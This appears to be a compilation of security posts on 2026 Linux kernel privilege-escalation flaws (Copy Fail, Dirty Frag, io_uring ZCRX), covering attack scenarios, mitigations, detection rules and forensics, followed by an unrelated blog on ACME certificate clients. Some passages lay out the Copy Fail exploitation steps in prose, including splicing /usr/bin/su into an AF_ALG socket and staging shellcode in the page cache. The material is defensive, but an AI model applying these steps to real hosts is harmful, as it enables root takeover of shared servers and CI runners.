I Heard People Like Stories

A developer has a shell account on a shared Linux build server running an unpatched kernel
They write a 732-byte Python script, no compilation required, and run it as their normal unprivileged user
The script splices /usr/bin/su into an AF_ALG socket and triggers the scratch write at a controlled offset
The in-memory copy of su is silently patched, a subsequent execution of su could execute attacker-modified page-cache contents
Result: root on the build server, access to signing keys, source repositories, and any credentials cached on that host

Dirty Frag Practical Exploitation Scenario

Abstract Scenario

An attacker splices a target file into a network socket path that performs in-place crypto
The kernel skips skb_cow_data() — the skb's fragment pages are pipe pages still referencing the file's page cache
- The written value is the decrypted crypto output, which is attacker-influenced but not arbitrary. This is sufficient to corrupt branch instructions, function pointers, or auth logic in the target binary
- What the attacker can influence is the targeted file and write offset — no KASLR defeat, no spray required
In-place decrypt writes crypto output directly into the page cache of the spliced file
Result: in-memory modification of an attacker-chosen file including setuid binaries, auth helpers, or runtime configs; on-disk copy and integrity tooling untouched

I Heard People Like Stories

A CI/CD runner executes untrusted pull request builds in low-privilege containers on shared Ubuntu workers
A malicious contributor submits a build script that triggers the RxRPC path
The script abuses the kernel networking path to modify the cached pages of /usr/bin/sudo. The modified binary is now live in memory across the entire host, while the on-disk copy passes all integrity checks
- shared page cache means every process on the host reading /usr/bin/sudo hits the same corrupted pages
Result: next sudo invocation on the worker executes the attacker's payload, exposing deployment credentials, secrets, and neighbouring workloads

io_uring ZCRX Freelist OOB Write — Practical Exploitation Scenario

Abstract Scenario

A privileged (likely networking) process with CAP_NET_ADMIN registers a ZCRX interface queue and repeatedly triggers the scrub/refill race
free_count exceeds nr_iovs; a u32 is written past the end of the freelist array into an adjacent slab object
The attacker controls slab cache placement via area size at registration, then fills that cache with a target object type via object spray to ensure the OOB write lands predictably
Full chain requires KASLR defeat via a separate read primitive(so far undemonstrated publicly)
Result if chain completes: container escape, root on host (but this has a lot of prerequisites)

I Heard People Like Stories

A Kubernetes cluster grants NET_ADMIN to networking sidecars on a ≥6.12 kernel with ZCRX enabled
An attacker compromises a sidecar container through an unrelated application-layer vulnerability such as an RCE in a sidecar proxy or service mesh component
From inside the sidecar they repeatedly trigger the ZCRX race, grooming heap layout until the overwrite corrupts a target kernel object
Each step of the chain(spray landing correctly, KASLR break, controlled overwrite of a useful target) has independent failure modes. At this point no public PoC completes this
Result if successful (i.e. process has CAP_NET_ADMIN and KASLR defeat is achieved): root on the Kubernetes worker node, access to service account tokens, secrets, and neighboring tenant workloads

Ok Now I'm Scared, What Do We Do?

Immediate Fire-Fighting

Apply Recommended Mitigations With Caution

Applicable to all three of these, immediately carry out some house security hygiene:

Restrict unprivileged user namespaces
Track kernel update closely
Audit CAP_NET_ADMIN

Carry out below mitigations independently as they do not cover each other's blast area.

Dirty Frag Mitigations

rxrpc is safe to block on almost everything that is not an AFS client
Recommended Dirty Frag mitigations (disabling esp4 and esp6 )affect IPsec , and hosts terminating IPsec tunnels cannot safely apply this
- on those hosts a safe interim option is network-layer access control: restrict who can reach the host locally, audit userns policy, and treat kernel patch as the only real fix. The module blacklist is not an option
- VPN infrastructure running kernel-space IPsec (IKEv2/IPsec via strongSwan or Libreswan with kernel ESP) cannot safely apply the esp4/esp6 module blacklist — that is the data plane. The only viable fix is the kernel patch. Providers on distro kernels without the Dirty Frag or Fragnesia backport yet have no interim mitigation that preserves service. Multi-tenant VPN concentrators should treat this as elevated urgency and track distro patch availability directly rather than waiting for routine update cycles. Wireguard not affected.
Investigate workloads repeatedly trying to load esp4, esp6, or rxrpc after disallowlisting. Keep an eye out in your logs for failed autoloads due to /bin/false overrides will appear, and treat unexpected attempts as suspicious

Copy Fail Mitigations

Some nuances on AF_ALG related mitigations (specifically, thealgif_aead submodule for Copy Fail)
- There is community sentiment around the frequent AF_ALG(algif_aead is a submodule of AF_ALG) exploits. For most workloads, userspace crypto libraries (OpenSSL, GnuTLS, wolfSSL) are sufficient. They implement AEAD primitives directly using AES-NI, VAES, and ARMv8 crypto extensions without needing kernel boundary crossing. On bulk symmetric crypto, userspace often wins on throughput by eliminating syscall overhead (this applies less for workloads already using io_uring with AF_ALG, because io_uring-based AF_ALG removes most of the syscall overhead on modern kernels)
- It is not always the case, so you may want to disallow algif_aead first. algif_hash and algif_skcipher have different usage profiles and a cleaner exploit history — a blanket AF_ALG disable may be overkill for most environments.****
- To minimize breaking changes, check these:
  - FIPS 140 — the kernel FIPS module covers AF_ALG consumers. Userspace replacement needs its own validated implementation. OpenSSL has it; not every stack does.
  - PCIe crypto offload — Intel QAT and some SmartNIC offload paths are only reachable through the kernel crypto API. AES-NI is CPU-local and does not substitute for attached hardware accelerators that register as kernel crypto drivers.
  - cryptsetup / dm-crypt — AF_ALG is used in specific disk encryption configurations opportunistically, but falls back to userspace libgcrypt/OpenSSL if AF_ALG is unavailable. Audit before disabling just to be doubly careful

io_uring ZCRX freelist OOB mitigations

ZCRX is ≥6.12 only, hosts on 5.15, 6.1 LTS are not in scope, verify your kernel version before treating this as applicable. Patch 003049b1c4fb is in stable and backported to all maintained branches, just apply.
No module blacklist equivalent exists for ZCRX — io_uring itself cannot be blacklisted on workloads that depend on it, and ZCRX is a feature within io_uring rather than a separable module
- If io_uring is not required by any workload on the host, syscall restriction via seccomp is a viable surface reduction: block io_uring_setup entirely
- The only scenario where the io_uring/seccomp restriction is worth considering is a host running a vulnerable kernel where patching is blocked for some reason (frozen image, vendor lock, compliance hold), still verify for dependencies to prevent silent failures
NET_ADMIN in container securityContext should be treated as a high-trust grant in general. Always evaluate specific capability is actually required or whether a more scoped alternative exists
Since the full exploitation path has not been demonstrated, the patch urgency is real but operational risk is lower than Copy Fail or Dirty Frag

This is Not a Time to Try New Things

I said this to my partner and they were like "saying this in the year of our lord AI is pretty funny". Head nod to friend Xe's advice for not installing new software. If you must you must, just know this is a very bad time. I kind of feel like the security landscape right now is akin to a club with very dirty bathooms and people who don't wash their hands, we really don't know what's going on anymore.

Next Steps: House Security Hygiene and Disaster Response

Having spoken to ~20 friends and clients in the industry over the last few weeks, I have observed significantly less stress from teams who have in-place house hygiene and environment hardening practices. This is not to say those who don't are not as good as engineering, many factors contribute to technical debt, and teams need to be well-resourced with support and strategy from organization leadership to combat complex system entropy.

If your team is able to, consider these structural fixes and audits. If your team needs more support in order to devote more engineering resources to this type of work (which can often be seen as cost centre work and not worth doing), show sections of this article to folks who can help you shift work priorities. In our current security landscape, companies who devote appropriate investments to security and system reliability ultimately win out in margins (incidents are expensive, as is losing customers).

Revisit Incident Response and Disaster Processes

As we've discussed in the embargoes section, we may need to patch faster as public LPEs with working exploits are becoming frequent.

For multi-tenant hosts, CI runners, and shared compute, you need a faster path. As is the case for all disaster responses, preparation ahead of time is key. Responding and not reacting will keep us ahead of the curve when it comes to defense.

Review and update your emergency reboot process for kernel CVEs
Livepatching where reboots are painful. Note that livepatch coverage for a given CVE is not guaranteed and varies by vendor and kernel version. kpatch (upstream, Red Hat) or KernelCare (TuxCare commercial) both have coverage lag for novel bug classes. For Copy Fail and Dirty Frag specifically, verify coverage before treating livepatch as equivalent to a full kernel update.
Keep node pools where possible for faster cycling
Review change-making and breakclass processes for active KEV-listed CVEs to speed up incident response

Regular Audits of Important Stuff

Make seccomp profile validation part of your ritualistic audit. Go beyond policy document review, test against actual syscall behavior at runtime using tools like seccomp-tools or tracee. Policy documents frequently drift from what containers actually do.
Restrict unprivileged usernamespaces on server and CI hosts where userns-dependent tooling (eg Podman rootless, chrome sandboxing, etc) are not present. Evaluate before pusehing broadly
Regularly audit powerful capabilities like CAP_NET_ADMIN, confirm uses are necessary and remove where possible
Review container configurations for best security practices (eg https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)

Know your Reachability and maintain SBOM/dependency hygiene for kernel consumers:

several mitigations (IPsec mapping, CAP_NET_ADMIN audit, io_uring dependency check) require knowing what your workloads actually use. Teams without current SBOMs and capability manifests cannot answer these questions quickly under incident pressure
A standing audit of capability grants and kernel feature dependencies belongs in the hygiene section as a prerequisite to effective incident response
- Concrete instance: Map IPsec dependencies, because the next incident is a when not if. Be prepared by knowing, have these documented and tested before the next 2AM page:
  - Which hosts terminate IPsec tunnels
  - Which use kernel-space (esp4/esp6) vs. userspace (libreswan with netlink, strongSwan with user-space crypto) paths
  - What breaks if esp4 and esp6 are blacklisted on each host class
  - Who owns the fallback and what the recovery time looks like

Stay Alert and be Prepared

As is with any system, observability and preparedness will keep you ahead of the game.

watch kernel commits directly. Distro advisories are downstream. Security teams that monitor sensitive kernel areas have hours of lead time over teams waiting for packaged advisories
- Rough commit flagging on these paths(even just a daily grep of git logs)is better than waiting for a polished advisory
- Generic kernel monitoring could be too broad to be actionable. Watching netdev/net.git, crypto/, io_uring/, security/ (AppArmor/LSM) would have caught the issues mentioned in this article
- Consider automating this type of alerting
behaviour-based detection and alerting
- eBPF infrastructure is a natural fit for kernel compromises, but having the tooling set up does not automatically mean useful detection logic. here's a short list of what to alert on relevant to this article
  - unexpected splice() into AF_ALG or RxRPC sockets from non-root processes
  - setuid binary execution immediately following splice() calls in the same process lineage
  - io_uring_register with IORING_REGISTER_ZCRX_IFQ from containerized processes
  - page cache invalidation (drop_caches) outside of scheduled maintenance windows
- We live in the world of AI-driven observability and there is a call for automating SREs out of the step, but teams are better off having human intervention when it comes to determining what to observe and alert on, and who to page. Remember, AI is not sentient, and we need neuroplasticity and real consciousness involved for useful decision-making to defend against sophisticated attackers

#hugops is for Everyone (Yes that Includes You)

People who always want to do a good job and be the best versions of themselves hold beliefs that sound something like "if we do our best, then nothing bad could happen". Yet life is a series of stochastic events following vague patterns that do not serve as valid prediction heuristics.

If you are tearing your hair out over "why is this happening to me/us/the industry" and "why are they like this"/"why AM I like this", remember bad things can happen to good people, compromises can happen to well-loved systems, and harm can be done by well-meaning folks. A little empathy goes a long way, and we do our best work when we are at peace with ourselves and the world. Many of the issues we are observing (both long-standing and new) can only be solved by us as a community.

Regardless of whether you are a believer of "move fast and make mistakes" or "move with intention and bias towards caution", remember #hugops is for everyone, that includes you and everyone who works and does not work like you. The industry is big enough to accommodate many different ways of work, technical rigour is not the only thing we need, continuous optimization driven by diversity of thought will get us through the next phase of software development evolution.

Further Resources

Copy Fail — CVE-2026-31431

Dirty Frag — CVE-2026-43284 + CVE-2026-43500

io_uring ZCRX OOB Write — CVE-2026-43121

CrackArmor — CVE-2026-23268 through CVE-2026-23411

Fragnesia — CVE-2026-46300 (disclosed today — patch not yet in stable)

Lineage and Context

Operational and Patching

Fragnesia, la nuova falla nel kernel Linux che regala privilegi di root: come difendersi

Thu, 14 May 2026 11:28:46 +0000

Una terza vulnerabilità critica in meno di tre settimane colpisce il kernel Linux. Fragnesia consente a qualsiasi utente locale senza privilegi di ottenere accesso root corrompendo la page cache del kernel. Il PoC è già pubblico. Ecco l'analisi tecnica, le distribuzioni coinvolte e le indicazioni operative per mitigare il rischio

L'articolo Fragnesia, la nuova falla nel kernel Linux che regala privilegi di root: come difendersi proviene da Cyber Security 360.

Nine-year-old Linux kernel flaw enables reliable local privilege escalation (CVE-2026-31431) - Help Net Security

Thu, 14 May 2026 03:13:23 +0000

Security researchers at Theori have disclosed a high-severity local privilege escalation (LPE) vulnerability (CVE-2026-31431) in the Linux kernel.

The flaw, nicknamed “Copy Fail”, has affected virtually every major Linux distribution shipped since 2017, and a working proof-of-concept (PoC) exploit is publicly available.

About CVE-2026-31431

According to Theori researchers, CVE-2026-31431 originates from the interaction of three reasonable kernel changes made over several years: the addition of authencesn (an AEAD cryptographic wrapper used by IPsec) in 2011, the introduction of AF_ALG AEAD socket support in 2015, and an in-place optimization added to algif_aead.c in 2017.

It’s a logic bug in the authencesn cryptographic template and allows an unprivileged local user to write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.

The technical write-up is more detailed, of course.

The good news is that CVE-2026-31431 exploitation requires local code execution as a regular user, which means that, by itself, it can’t be exploited remotely. But “chain it with anything that gives you that (web RCE landing in an unprivileged service account, an SSH foothold, a malicious PR on a CI runner) and you’re root,” the researchers pointed out.

The bad news is that unlike the Dirty Cow and Dirty Pipe Linux kernel LPE vulnerabilities, Copy Fail can be exploited without having to win a race condition, and the same exploit will work on many systems.

What to do?

CVE-2026-31431 affects every Linux distribution that uses a kernel that has been released since 2017.

The exploit script is tiny, doesn’t rely on additional software being installed, will work on almost all Linux distributions released since 2017, will work each time it’s run on a vulnerable system, doesn’t change files on disk and won’t be flagged by tools that monitor files for tampering, leaves no forensic trace on disk and, finally, it can break out of container isolation.

For all of these reasons, the researchers advise admins to prioritize patching the vulnerability on multi-tenant Linux systems, CI runners, cloud SaaS running user code, and container clusters first, and then on standard Linux servers and single-user workstations:

Copy Fail patching prioritization (Source: Theori)

The researchers verified that Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, and SUSE 16 are vulnerable. Openwall Project founder Alexander Peslyak (aka Solar Designer) confirmed that the exploit provided worked on Rocky Linux 9.7.

Linux distros have been notified of the existence of the vulnerability in advance, they say, and some have already released kernel packages that include the commit that patched it.

Admins/users who, for whatever reason, can’t update their distribution’s kernel package, can temporarilty mitigate the risk by:

Blocking AF_ALG socket creation via seccomp, or
Blacklisting the algif_aead module.

UPDATE (May 4, 2026, 09:25 a.m. ET):

CISA has added Copy Fail to its Known Exploited Vulnerabilities catalog and ordered US federal civilian agencies to address it by May 15, 2026.

Patches are available for Debian, Ubuntu, AlmaLinux, SUSE, Fedora and CloudLinux users, while RHEL users are still waiting.

Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

Copy Fail and the forensic blind spot hiding in Linux memory | Andrea Fortuna

Thu, 14 May 2026 03:13:18 +0000

There is already a long queue of articles explaining how Copy Fail works, what kernel version you need to patch to, and what the Python PoC does step by step. This is not one of those articles. CVE-2026-31431 is genuinely interesting for a different reason: it is one of the cleanest examples in recent memory of a vulnerability that specifically defeats classic forensic and detection assumptions, not through obfuscation or stealth code, but through a fundamental property of how the Linux kernel manages memory. Understanding that is more useful, and more lasting, than memorising the exploit primitives.

A nine-year-old optimization, quietly gone wrong

The story starts in 2017, when commit 72548b093ee3 introduced an in-place optimization to algif_aead.c, the component of the Linux kernel’s AF_ALG socket interface that exposes AEAD cipher operations to userspace. The intent was a minor performance improvement: instead of copying data, the kernel would process it in-place by setting req->src = req->dst and chaining the tag pages from the source scatterlist into the output scatterlist via sg_chain().

The problem is subtle enough that it survived unnoticed for almost nine years. When userspace feeds data to the socket through splice(), the tag pages reference the page cache of the spliced file directly. The authencesn(hmac(sha256),cbc(aes)) implementation then writes four bytes at offset assoclen + cryptlen as scratch space for Extended Sequence Number rearrangement, and because the output scatterlist now extends into those chained page cache pages, that write lands inside the cached data of the spliced file, bypassing all permission checks. The HMAC verification fails, returning -EBADMSG as expected, but the page cache corruption has already happened. A failing decrypt still corrupts the page.

The fix, included in kernel 7.0, 6.19.12, and 6.18.22, is almost comically simple: revert to out-of-place operation in algif_aead, removing essentially all the complexity introduced in 2017. The Openwall oss-security disclosure provides the full technical details and kernel patch links. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings, as the fix commit message notes without ceremony.

The DFIR angle nobody is writing about: when the disk is clean but memory lies

Here is where Copy Fail becomes interesting for an investigator. The exploitation path is: bind an AF_ALG socket to authencesn(hmac(sha256),cbc(aes)), splice() the page cache pages of /usr/bin/su into the crypto pipeline, then issue a recvmsg() whose AAD bytes supply the four-byte value the authencesn scratch write will deposit into the target page. Repeat at successive offsets to stage shellcode into the cached pages of /usr/bin/su. Run su. Get a root shell.

The key detail: the file on disk is never touched. The corruption affects only the in-memory page cache, which is what the kernel actually uses when executing a binary. A traditional file-integrity monitor that checks SHA-256 hashes of files on disk sees nothing. An IDS that watches for writes to /usr/bin/su sees nothing. The audit trail for the su execution looks like a normal privilege transition. The attacker leaves the disk in a state that would pass any post-incident verification based on static analysis of storage.

This is not entirely new territory. If you have been following the evolution of forensic anti-patterns on Linux, you have seen similar surprises before: the Windows 11 PCA artifact quietly recording execution evidence where analysts were not looking, iOS metadata recording data users assumed was not there, wiper malware targeting filesystem structures beyond the MBR that classic recovery procedures did not cover. Copy Fail belongs to the same family of cases where the evidence, or the absence of it, is not where the analyst expects. HelpNet Security has published detailed coverage of the vulnerability and its implications for the security community.

The comparison to Dirty Pipe (CVE-2022-0847) is instructive in the other direction. Dirty Pipe required precise pipe buffer manipulation, version-specific targeting, and had timing windows. Copy Fail is a straight-line logic flaw: no races, no timing, just four syscalls (socket, setsockopt, splice, sendmsg, recvmsg) repeated until the target binary is patched in cache. The PoC is around 700 bytes of Python and produces reliable results on Ubuntu 24.04, Amazon Linux 2023, RHEL 10.1, and SUSE 16, all default configurations.

From host to cluster: why “local” LPE is the wrong mental model for cloud environments

The standard framing of a local privilege escalation is: attacker already has a shell, attacker elevates to root. The implicit assumption is that you are reasoning about a single, bounded host. That assumption breaks down almost everywhere in modern infrastructure.

In a Kubernetes environment, the page cache is shared between the host and containers running on the same node. A workload running inside a container as an unprivileged user can use Copy Fail to corrupt the page cache of a setuid binary on the host, then execute that binary, obtain a root shell, and break out of the container entirely. The container boundary, which is logical rather than hardware-enforced, provides no protection here. OVHcloud, which published a detailed response covering their managed Kubernetes service, confirmed that unpatched nodes in multi-tenant clusters are fully exposed regardless of pod security policies or runtime restrictions.

This is a recurring pattern worth internalising. Every time an LPE affects the Linux kernel rather than userspace alone, the blast radius in cloud environments is systematically wider than the “local user” label suggests. An initial foothold through a web application vulnerability, a misconfigured CI/CD runner exposed to the internet, or a compromised dependency in a pipeline can be all that is needed to turn Copy Fail into a full node compromise, followed by lateral movement across whatever other workloads that node is running.

The affected kernel range, 4.14 through 7.0-rc, covers essentially every Linux system deployed since late 2017, including all the long-term stable branches that enterprise distributions continue to maintain: 6.12.x, 6.6.x, 5.15.x, and 5.10.x all carry the vulnerable backport. Tenable has published a comprehensive FAQ covering the technical details, affected versions, and remediation guidance.

Detection engineering: what you can actually see

Patch first. But on the realistic assumption that patching takes time, particularly across large fleets, distributed infrastructure, and embedded systems where kernel updates require maintenance windows, detection becomes the practical compensating control.

The good news is that Copy Fail is unusually detectable at the syscall level, precisely because the attack path requires creating an AF_ALG socket with SOCK_SEQPACKET type. This is not a common operation. The set of legitimate processes that need AF_ALG AEAD sockets is small and predictable: cryptsetup, veritysetup, integritysetup, systemd-cryptsetup, and a handful of kcapi utilities. Everything else creating this socket type is anomalous.

Sysdig’s threat research team has published a Falco rule that operationalises exactly this detection. The rule fires on AF_ALG SEQPACKET socket creation from any process outside the known disk-encryption toolchain. The rule is precise enough to be production-useful without massive false-positive tuning, although environments running kernel TLS (kTLS) will need to audit their workloads first, since kTLS also uses AF_ALG sockets.

- rule: Unexpected Process Using Kernel AEAD Crypto Socket
  desc: >
    Detects creation of an AF_ALG SEQPACKET socket from a process outside the
    known disk-encryption toolchain. Mandatory first step of CVE-2026-31431.
  condition: >
    successful_af_alg_seqpacket_socket and
    not proc.name in (known_af_alg_binaries)
  priority: CRITICAL
  tags: [host, container, kernel, CVE-2026-31431,
         MITRE_TA0004_privilege_escalation,
         MITRE_T1068_exploitation_for_privilege_escalation]

ReversingLabs has additionally published five YARA rules covering file-based and memory-based detection of the Python PoC and its variants, which are useful for threat hunting across images, repositories, and dropped files. These two layers complement each other: the Falco rule catches exploitation at runtime; the YARA rules catch the exploit script before or during staging.

If you are running a 24/7 SOC for a small team, the operational priority is straightforward. The Falco rule should go in as a high-priority alert with minimal tuning friction. The YARA rules are better used in a scheduled threat hunting pass over your artefact stores and pipeline caches rather than as real-time alerts, which would be noisy and slow.

The deeper forensic problem: audit log design for kernel-level attacks

Copy Fail exposes a gap that goes beyond this specific vulnerability. When an attacker exploits a kernel primitive to modify in-memory state without touching disk, the investigator’s ability to reconstruct what happened depends entirely on whether the right syscall-level events were captured at the time of exploitation. If the answer is no, the page cache modification is effectively invisible after the fact, especially on systems where memory is not preserved between reboot and investigation.

This connects directly to a principle that deserves more attention in DFIR readiness discussions: logging and telemetry need to be designed with forensic use in mind, not only with operational monitoring in mind. A SIEM that ingests only application-level logs, authentication events, and network flows will see the output of a Copy Fail exploitation (an unexpected root shell, unusual process relationships) but not the cause. An audit setup that captures socket, splice, sendmsg, and recvmsg syscalls with process context will see both. The difference is architectural, and it needs to be decided before the incident, not during.

Auditd rules targeting AF_ALG socket creation are trivial to write and impose minimal overhead. BPF-based monitoring frameworks such as Cilium Tetragon can capture this at even finer granularity, correlating scatterlist operations with the file pages they target. Neither approach helps retroactively. Both help the next time.

An eight-year-old lesson about performance and security

The root cause of Copy Fail is not a complex algorithmic error or a subtle interaction between subsystems. It is a performance optimisation applied to a security-sensitive component without sufficiently tracing its downstream effects on memory ownership. The 2017 commit worked correctly for the AEAD algorithms that were common at the time. The authencesn path, which uses a two-stage in-place write with Extended Sequence Number rearrangement, created a condition that was not anticipated.

This is not an unusual failure mode. Performance optimisations in low-level kernel code often have effects that are difficult to reason about fully at the time of writing, and they accumulate over kernel versions as new code paths interact with them in ways the original author did not anticipate. The same dynamic that produced Copy Fail produced Dirty Pipe in 2022, Dirty COW in 2016, and a range of other kernel vulnerabilities that traced back to optimisations rather than to classic memory safety errors.

The practical implication is not that kernel optimisations are bad, but that security analysis of performance-sensitive code paths needs to explicitly model what happens when memory ownership boundaries are crossed unexpectedly. For engineers working with kernel crypto APIs, the lesson is specific: in-place operations in crypto code paths that interact with splice and page cache are structurally dangerous, because splice brings file-backed pages into the kernel’s processing pipeline without the ownership transfer that would normally accompany such an operation.

For everyone else, Copy Fail is a useful reminder that operational resilience is not only about backup and recovery. It is about building systems where the evidence necessary to detect, investigate, and respond to exploitation exists by design, and where a single unpatched node in a shared environment cannot silently become the entry point for a full cluster compromise.

ACME Clients on Linux for Easy SSL/TLS Management

Wed, 13 May 2026 21:35:10 +0000

Every time you visit a website and see that padlock in the browser bar, an SSL/TLS certificate is quietly doing its job, authenticating the server and encrypting your connection so passwords, payment details, and personal data stay private. Take that certificate away, and the connection falls back to plain HTTP, where anyone on the same network can read your traffic in cleartext.

For years, getting and maintaining those certificates was a genuinely painful process. Administrators had to generate cryptographic keys, file a Certificate Signing Request with a Certificate Authority, prove they owned the domain, download the signed certificate, configure it on the server, and then remember to do the whole thing again before it expired.

Miss that deadline, and browsers begin displaying certificate error warnings. Services break, and users leave.

ACME, the Automatic Certificate Management Environment protocol, was built to fix exactly that. Instead of a person requesting and renewing certificates, a lightweight software agent on the server handles the entire process automatically, communicating directly with the CA without any human involvement.

Run that agent at scale across dozens or hundreds of Linux servers, and a new set of problems emerges: no central visibility, inconsistent configurations, and no early warning when something goes wrong. That is where CertSecure Manager fits in, adding the governance layer that individual ACME clients were never designed to provide.

In this blog, we will walk through what SSL/TLS certificates are, why they expire, how the ACME protocol works, which Linux clients to choose, and what it takes to manage certificate automation at enterprise scale.

What Are SSL/TLS Certificates

Think of an SSL/TLS certificate as a verified identity badge for a website, issued by a trusted third party. It does two things: it encrypts the traffic between a visitor’s browser and the server, and it proves the server is who it claims to be.

The cryptographic mechanism behind this relies on a key pair, a public key that anyone can use to encrypt data sent to the server, and a private key that only the server holds and uses to decrypt it. Even if someone intercepts the traffic in transit, they cannot read it without that private key.

Who Issues SSL/TLS Certificates

Certificate Authorities (CAs) are the organizations that browsers and operating systems already trust to vouch for websites. Well-known public CAs include Let’s Encrypt, DigiCert, and GlobalSign, among others.

Enterprises often run their own private CAs using Microsoft Active Directory Certificate Services or open-source alternatives. Before issuing any certificate, the CA must verify that the requester actually controls the domain in question. Once that check passes, the CA digitally signs the certificate, and every browser that trusts that CA will automatically trust the site.

Why Do Certificates Expire

Certificates are not permanent by design. Short validity periods limit the damage a stolen private key can cause, force regular checks that the domain remains under the same ownership, and ensure that outdated cryptographic standards are cycled out.

The CA/Browser Forum has mandated progressively shorter validity periods: 200-day certificates (effective March 2026), 100-day certificates by 2027, and 47-day certificates by 2029. As renewals become more frequent, manual processes become completely unsustainable, which is precisely why ACME exists.

The Traditional Problem with Certificate Management

Before automation arrived, renewing a certificate meant generating a Certificate Signing Request, submitting it to a CA, completing domain validation manually, downloading the signed file, deploying it to the right server, and updating the web server configuration, all tracked against a deadline that most teams managed in a shared spreadsheet or, worse, from memory.

For a single website, this was manageable. For an organization running fifty servers across three environments, it was a disaster waiting to happen. Missed renewals caused real outages, and those outages were often the first sign that anyone remembered a certificate was about to expire. The complexity of that process is what drove the creation of ACME. You can read more about the risks of common SSL misconfigurations and how they create real security exposure.

What Is ACME and Why Was It Created

ACME (Automatic Certificate Management Environment) is an open standard, published as RFC 8555, that defines how a server can prove it controls a domain and request a certificate from a CA entirely without human involvement.

The server runs an ACME client, the client completes a cryptographic challenge set by the CA, and once the CA is satisfied, it issues the certificate and sends it back. The same process handles renewals automatically. Today, ACME is supported by dozens of CAs and has become the de facto standard for certificate automation across Linux environments worldwide.

ACME became widely adopted largely because of Let’s Encrypt, the free public CA launched by the Internet Security Research Group. Let’s Encrypt made the case that HTTPS should be free and automatic, and it used ACME as the mechanism to deliver that.

Certificate Management

Prevent certificate outages, streamline IT operations, and achieve agility with our certificate management solution.

Book a Demo

How ACME Clients on Linux Implement Certificate Automation

The ACME protocol defines the rules, but it is the ACME client, software running directly on the Linux server, that executes them, handling certificate requests, domain validation, installation, and renewal.

Linux is a natural fit for this kind of automation. Its command-line tooling, cron scheduling, and native integration with web servers like Apache and Nginx mean ACME clients can slot into existing infrastructure with minimal configuration. In most cases, the client can also update the web server configuration itself when a new certificate is issued, making the whole process hands-free.

How ACME Clients Handle Renewal Automatically

ACME clients on Linux typically run as scheduled background tasks, checking certificate expiry at regular intervals. When a certificate crosses the renewal threshold (usually 30 days before expiry for Let’s Encrypt certificates), the client contacts the CA, completes the domain validation challenge, receives the renewed certificate, replaces the old files, and signals the web server to reload.

The whole process takes seconds and happens without any administrator action. This is why teams that have moved to ACME-based automation rarely think about certificate renewals anymore, until something breaks the automation, which brings us to why monitoring still matters.

Where SSL/TLS Certificates Are Stored on Linux

Each ACME client follows its own directory conventions. Certbot stores live certificates under /etc/letsencrypt/live/<domain>/, with four standard files: cert.pem (the leaf certificate), privkey.pem (the private key), chain.pem (the intermediate CA certificate), and fullchain.pem (the leaf plus the full chain).

Historical and versioned copies sit in /etc/letsencrypt/archive/<domain>/. acme.sh defaults to ~/.acme.sh/<domain>/. Most production deployments, however, relocate certificates to system directories like /etc/ssl/ or /var/lib/acme/ for cleaner permission management. When a certificate is renewed, both tools update the files in place, so that applications referencing those paths continue to work without any configuration changes.

ACME Validation Methods on Linux

Before a CA can issue a certificate, it needs proof that you actually control the domain. ACME standardizes that proof process into three distinct challenge types, each suited to different environments.

HTTP-01 Validation

The ACME client places a small token file at a well-known URL on the web server. The CA fetches that URL over HTTP to confirm the file is there, then grants domain control.

This is the most common method and works out of the box with Apache and Nginx on any publicly accessible server. The only limitation is that it requires the server to be reachable on port 80, which rules it out for internal services and wildcard certificates.

DNS-01 Validation

Instead of a file on the web server, the ACME client creates a _acme-challenge TXT record in the domain’s DNS zone. The CA checks that record to confirm domain ownership.

DNS-01 is the method to use for wildcard certificates, for servers behind a firewall, and for any service that is not directly reachable over HTTP. The trade-off is that it requires either API access to your DNS provider or a manual DNS update.

TLS-ALPN-01 Validation

TLS-ALPN-01 performs the validation handshake directly over TLS on port 443, using a special ALPN extension. It is less commonly deployed than the other two methods but is useful in environments where HTTP is blocked entirely and DNS API access is unavailable.

Certificate Management

Prevent certificate outages, streamline IT operations, and achieve agility with our certificate management solution.

Book a Demo

Popular ACME Clients on Linux and Their Differences

Several mature ACME clients are available for Linux, and the right choice depends on your environment.

Certbot, maintained by the Electronic Frontier Foundation, is the most widely deployed option. It integrates directly with Apache and Nginx, handles certificate installation and web server reload automatically, and is the path of least resistance for anyone managing a traditional Linux web server.

If you are running a public-facing website and just need certificates to work, Certbot is the right starting point.

acme.sh takes a different approach. Written entirely in POSIX shell, it runs on any Linux distribution with no extra dependencies whatsoever.

It supports a much wider range of DNS providers than Certbot, integrates naturally with Ansible, Docker, and other automation tooling, and gives operators more granular control over certificate storage and deployment hooks. It is the preferred choice for scripted environments, internal services, and cloud-native workloads.

Lego is a Go-based client built for dynamic infrastructure. It is commonly embedded in container orchestration pipelines and CI/CD systems where certificates need to be requested and renewed on demand as services spin up and down.

Some platforms, including certain Kubernetes ingress controllers and load balancers, also ship with built-in ACME support, which can simplify initial setup but typically offers less visibility and control than a dedicated client.

Certbot vs acme.sh on Linux: A Practical Comparison

Both Certbot and acme.sh implement ACMEv2, support wildcard certificates, and automate the full certificate lifecycle. Where they differ is in philosophy and fit.

Feature	Certbot	acme.sh
Implementation	Python-based	POSIX shell script
Dependencies	Requires Python 3.4 or later	Any Linux shell, no extras needed
ACME Version	ACMEv2	ACMEv2
Wildcard Certificates	Supported via DNS-01	Supported via DNS-01
Apache / NGINX Integration	Automatic install and reload	Issuance only, manual deployment hooks
DNS Provider Support	Limited built-in providers	150+ providers supported
TLS-ALPN-01 Validation	Not supported	Supported
Renewal	Fully automated via systemd timer	Fully automated via cron
Best Fit	Public web servers, quick setup	Scripted pipelines, internal services, containers
Centralized Management	Per-server only	Per-server only

In practice, Certbot wins on simplicity. If you manage Apache or Nginx on a handful of public-facing servers, Certbot installs in minutes and runs itself. acme.sh wins on flexibility: its shell-native design means it fits anywhere Linux runs, its DNS provider coverage is unmatched, and its deployment hooks let you trigger any post-renewal action you need. Neither tool, though, was built with centralized governance in mind. Both store certificates locally on the server and operate independently, which matters a lot when managing certificates across dozens or hundreds of systems.

ACME Clients on Linux Beyond Websites: APIs and Internal Services

Most people associate SSL/TLS certificates with public websites, but in a modern Linux environment, certificates are just as critical for internal traffic. REST APIs, microservices, message brokers, and internal tooling all need encrypted, authenticated connections to prevent data interception and lateral movement by attackers who have gained a foothold inside the network.

